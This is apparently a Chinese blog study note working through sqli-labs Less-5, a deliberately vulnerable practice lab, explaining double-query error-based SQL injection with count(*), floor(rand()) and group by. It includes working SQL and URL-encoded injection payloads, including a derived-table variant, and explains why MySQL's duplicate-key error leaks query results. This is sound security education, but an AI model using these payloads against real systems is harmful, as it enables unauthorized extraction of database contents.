sqli-labs闯关学习笔记(八)

Double Query- Single Quotes- String

第一次做的时候是把这题当成盲注来做了,但是后面看着标题似乎不太对,google了一下发现这题的正解应该是双查询注入,然后花了一些时间来了解和分析
双查询注入
页面没有返回的情况下利用数据库报错的信息得到查询结果。简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
搜索到的非常有启发的文章,感谢:bystander ,Mochazz ,XDANS’

先来走一点流程

进入:
sqli-labs闯关学习笔记(八)_第1张图片
正常输入参数:发现正确的时候会显示you are in…
sqli-labs闯关学习笔记(八)_第2张图片
查出字段数:
sqli-labs闯关学习笔记(八)_第3张图片此时我之前的思路是按照盲注的方法来注入,虽然也可以成功,但是并不是这里要用的方法。
这里要使用的方法是双查询注入:一些研究人员发现,使用group by子句结合rand()函数以及像count()这样的聚合函数,在SQL查询时会出现错误,这种错误是随机产生的,这就产生了双重查询注入。*

floor()、rand(0)、count()、group by的用法:
  1. Rand() //随机函数

  2. Floor() //取整函数

  3. Count() //汇总函数

  4. Group by clause //分组语句

如何利用rand和floor
执行语句 select rand();能返回一个0-1的随机数,所以select floor(rand()*2);就会随机返回0或者1;
sqli-labs闯关学习笔记(八)_第4张图片sqli-labs闯关学习笔记(八)_第5张图片
为了便于理解,我们直接来看这些语句的执行结果:

1

select concat((select database()),floor(rand()*2)) from users;
sqli-labs闯关学习笔记(八)_第6张图片
(这里返回十三条结果的原因是users表中有十三条记录。)

2

select concat((select database()),floor(rand()*2))as a from information_schema.tables where table_schema = database() group by a;
select concat((select database()),floor(rand()*2))as a from information_schema.tables where table_schema = database() group by a;

3

select count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables where table_schema = database() group by a;
sqli-labs闯关学习笔记(八)_第7张图片

4

select 1,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables where table_schema = database() group by a;
第一次:
888
第三次(因为是随机出现的):
sqli-labs闯关学习笔记(八)_第8张图片

那么我们尝试在url中联合查询使用这些payload(注意要保持列数相同)
http://www.sqli_labs.com/Less-5/?id=0%27%20union%20select%200,concat((select%20database()),floor(rand()*2)),0%20from%20users--+
在这里插入图片描述

http://www.sqli_labs.com/Less-5/?id=0%27%20union%20select%200,0,concat((select%20database()),floor(rand()*2))as%20a%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20group%20by%20a--+
sqli-labs闯关学习笔记(八)_第9张图片
http://www.sqli_labs.com/Less-5/?id=0%27%20union%20select%201,count(*),concat((select%20database()),floor(rand()*2))as%20a%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20group%20by%20a%20--+sqli-labs闯关学习笔记(八)_第10张图片可以看到这时候就会返回报错信息:Duplicate entry ‘security1’ for key 'group_key’
报错信息里面就会返回我们需要的database()
所以我们可以继续利用这个payload进行下一阶段的手注。

补充新姿势

派生表。需要使用select 1 from (table name); 这样的语法来报错
sql payload:select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
url payload:http://www.sqli_labs.com/Less-5/?id=0%27%20union%20select%201%20from%20(select%20count(*),%20concat(%27~%27,(select%20database()),%27~%27,%20floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a)x%20--+
sqli-labs闯关学习笔记(八)_第11张图片

浅析原理

通过两个关键点

  • rand()和rand(0)的区别
    sqli-labs闯关学习笔记(八)_第12张图片
    sqli-labs闯关学习笔记(八)_第13张图片
    虽然不能解释,但可以知道的结论是 rand(0)相比于rand()有一些稳定性。有着01101。。。的规律

  • count与group by的虚拟表
    在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们从floor(rand(0)*2)报错的过程就知。而报错实际上就是floor(rand(0)*2)被计算多次导致的
    取第一条记录的时候,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕
    查询第二条记录的时候,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕
    查询第三条记录的时候,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了

你可能感兴趣的:(sqli-labs)